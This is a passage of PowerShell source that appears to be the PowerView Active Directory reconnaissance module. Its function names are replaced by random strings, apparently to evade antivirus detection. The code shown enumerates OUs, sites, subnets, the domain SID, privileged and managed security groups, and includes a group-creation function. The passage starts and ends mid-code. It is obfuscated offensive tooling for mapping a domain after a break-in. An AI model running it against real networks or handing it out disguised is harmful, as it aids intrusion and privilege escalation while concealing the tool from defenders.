[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$OUSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($OUSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^OU=.*') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[5LD7ZSFI] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$OUSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $OUSearcher) { | |
Write-Warning "[5LD7ZSFI] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
else { | |
try { | |
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
catch { | |
$IdentityFilter += "(name=$IdentityInstance)" | |
} | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['GPLink']) { | |
Write-Verbose "[5LD7ZSFI] Searching for OUs with $GPLink set in the gpLink property" | |
$Filter += "(gplink=*$GPLink*)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[5LD7ZSFI] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" | |
Write-Verbose "[5LD7ZSFI] 5LD7ZSFI filter string: $($OUSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } | |
else { $Results = $OUSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$OU = $_ | |
} | |
else { | |
$OU = Convert-LDAPProperty -Properties $_.Properties | |
} | |
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') | |
$OU | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[5LD7ZSFI] Error disposing of the Results object: $_" | |
} | |
} | |
$OUSearcher.dispose() | |
} | |
} | |
} | |
function 4WHR88R3 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.Site')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
[Alias('GUID')] | |
$GPLink, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'SearchBasePrefix' = 'CN=Sites,CN=Configuration' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$SiteSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($SiteSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^CN=.*') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[4WHR88R3] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$SiteSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $SiteSearcher) { | |
Write-Warning "[4WHR88R3] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
else { | |
try { | |
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
catch { | |
$IdentityFilter += "(name=$IdentityInstance)" | |
} | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['GPLink']) { | |
Write-Verbose "[4WHR88R3] Searching for sites with $GPLink set in the gpLink property" | |
$Filter += "(gplink=*$GPLink*)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[4WHR88R3] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$SiteSearcher.filter = "(&(objectCategory=site)$Filter)" | |
Write-Verbose "[4WHR88R3] 4WHR88R3 filter string: $($SiteSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } | |
else { $Results = $SiteSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$Site = $_ | |
} | |
else { | |
$Site = Convert-LDAPProperty -Properties $_.Properties | |
} | |
$Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') | |
$Site | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[4WHR88R3] Error disposing of the Results object" | |
} | |
} | |
$SiteSearcher.dispose() | |
} | |
} | |
} | |
function I7K9VCSI { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.Subnet')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$SiteName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$SubnetSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($SubnetSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^CN=.*') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[I7K9VCSI] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$SubnetSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $SubnetSearcher) { | |
Write-Warning "[I7K9VCSI] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
else { | |
try { | |
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
catch { | |
$IdentityFilter += "(name=$IdentityInstance)" | |
} | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[I7K9VCSI] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" | |
Write-Verbose "[I7K9VCSI] I7K9VCSI filter string: $($SubnetSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } | |
else { $Results = $SubnetSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$Subnet = $_ | |
} | |
else { | |
$Subnet = Convert-LDAPProperty -Properties $_.Properties | |
} | |
$Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') | |
if ($PSBoundParameters['SiteName']) { | |
if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { | |
$Subnet | |
} | |
elseif ($Subnet.siteobject -like "*$SiteName*") { | |
$Subnet | |
} | |
} | |
else { | |
$Subnet | |
} | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[I7K9VCSI] Error disposing of the Results object: $_" | |
} | |
} | |
$SubnetSearcher.dispose() | |
} | |
} | |
} | |
function TEH4BZ7T { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$SearcherArguments = @{ | |
'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$DCSID = 7M60VMOB @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid | |
if ($DCSID) { | |
$DCSID.SubString(0, $DCSID.LastIndexOf('-')) | |
} | |
else { | |
Write-Verbose "[TEH4BZ7T] Error extracting domain SID for '$Domain'" | |
} | |
} | |
function MPOE9M0D { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[OutputType('PowerView.Group')] | |
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[Alias('UserName')] | |
[String] | |
$MemberIdentity, | |
[Switch] | |
$AdminCount, | |
[ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] | |
[Alias('Scope')] | |
[String] | |
$GroupScope, | |
[ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] | |
[String] | |
$GroupProperty, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$GroupSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($GroupSearcher) { | |
if ($PSBoundParameters['MemberIdentity']) { | |
if ($SearcherArguments['Properties']) { | |
$OldProperties = $SearcherArguments['Properties'] | |
} | |
$SearcherArguments['Identity'] = $MemberIdentity | |
$SearcherArguments['Raw'] = $True | |
H86VA398 @SearcherArguments | ForEach-Object { | |
$ObjectDirectoryEntry = $_.GetDirectoryEntry() | |
$ObjectDirectoryEntry.RefreshCache('tokenGroups') | |
$ObjectDirectoryEntry.TokenGroups | ForEach-Object { | |
$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value | |
if ($GroupSid -notmatch '^S-1-5-32-.*') { | |
$SearcherArguments['Identity'] = $GroupSid | |
$SearcherArguments['Raw'] = $False | |
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } | |
$Group = H86VA398 @SearcherArguments | |
if ($Group) { | |
$Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') | |
$Group | |
} | |
} | |
} | |
} | |
} | |
else { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^CN=') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[MPOE9M0D] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$GroupSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $GroupSearcher) { | |
Write-Warning "[MPOE9M0D] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
elseif ($IdentityInstance.Contains('\')) { | |
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentityInstance) { | |
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) | |
$GroupName = $IdentityInstance.Split('\')[1] | |
$IdentityFilter += "(samAccountName=$GroupName)" | |
$SearcherArguments['Domain'] = $GroupDomain | |
Write-Verbose "[MPOE9M0D] Extracted domain '$GroupDomain' from '$IdentityInstance'" | |
$GroupSearcher = 4I4THHU7 @SearcherArguments | |
} | |
} | |
else { | |
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['AdminCount']) { | |
Write-Verbose '[MPOE9M0D] Searching for adminCount=1' | |
$Filter += '(admincount=1)' | |
} | |
if ($PSBoundParameters['GroupScope']) { | |
$GroupScopeValue = $PSBoundParameters['GroupScope'] | |
$Filter = Switch ($GroupScopeValue) { | |
'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } | |
'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } | |
'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } | |
'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } | |
'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } | |
'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } | |
} | |
Write-Verbose "[MPOE9M0D] Searching for group scope '$GroupScopeValue'" | |
} | |
if ($PSBoundParameters['GroupProperty']) { | |
$GroupPropertyValue = $PSBoundParameters['GroupProperty'] | |
$Filter = Switch ($GroupPropertyValue) { | |
'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } | |
'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } | |
'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } | |
'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } | |
} | |
Write-Verbose "[MPOE9M0D] Searching for group property '$GroupPropertyValue'" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[MPOE9M0D] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$GroupSearcher.filter = "(&(objectCategory=group)$Filter)" | |
Write-Verbose "[MPOE9M0D] filter string: $($GroupSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } | |
else { $Results = $GroupSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$Group = $_ | |
} | |
else { | |
$Group = Convert-LDAPProperty -Properties $_.Properties | |
} | |
$Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') | |
$Group | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[MPOE9M0D] Error disposing of the Results object" | |
} | |
} | |
$GroupSearcher.dispose() | |
} | |
} | |
} | |
} | |
function D8ITTFNK { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] | |
Param( | |
[Parameter(Mandatory = $True)] | |
[ValidateLength(0, 256)] | |
[String] | |
$SamAccountName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Name, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$DisplayName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Description, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$ContextArguments = @{ | |
'Identity' = $SamAccountName | |
} | |
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } | |
$Context = T8NPHIYY @ContextArguments | |
if ($Context) { | |
$Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) | |
$Group.SamAccountName = $Context.Identity | |
if ($PSBoundParameters['Name']) { | |
$Group.Name = $Name | |
} | |
else { | |
$Group.Name = $Context.Identity | |
} | |
if ($PSBoundParameters['DisplayName']) { | |
$Group.DisplayName = $DisplayName | |
} | |
else { | |
$Group.DisplayName = $Context.Identity | |
} | |
if ($PSBoundParameters['Description']) { | |
$Group.Description = $Description | |
} | |
Write-Verbose "[D8ITTFNK] Attempting to create group '$SamAccountName'" | |
try { | |
$Null = $Group.Save() | |
Write-Verbose "[D8ITTFNK] Group '$SamAccountName' successfully created" | |
$Group | |
} | |
catch { | |
Write-Warning "[D8ITTFNK] Error creating group '$SamAccountName' : $_" | |
} | |
} | |
} | |
function AQR0XY5B { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.ManagedSecurityGroup')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | |
'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' | |
} | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
$SearcherArguments['Domain'] = $Domain | |
$TargetDomain = $Domain | |
} | |
else { | |
$TargetDomain = $Env:USERDNSDOMAIN | |
} | |
MPOE9M0D @SearcherArguments | ForEach-Object { | |
$SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' | |
$SearcherArguments['Identity'] = $_.managedBy | |
$Null = $SearcherArguments.Remove('LDAPFilter') | |
$GroupManager = H86VA398 @SearcherArguments | |
$ManagedGroup = New-Object PSObject | |
$ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname | |
$ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname | |
$ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname | |
$ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName | |
if ($GroupManager.samaccounttype -eq 0x10000000) { | |
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' | |
} | |
elseif ($GroupManager.samaccounttype -eq 0x30000000) { | |
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' | |
} | |
$ACLArguments = @{ | |
'Identity' = $_.distinguishedname | |
'RightsFilter' = 'WriteMembers' | |
} | |
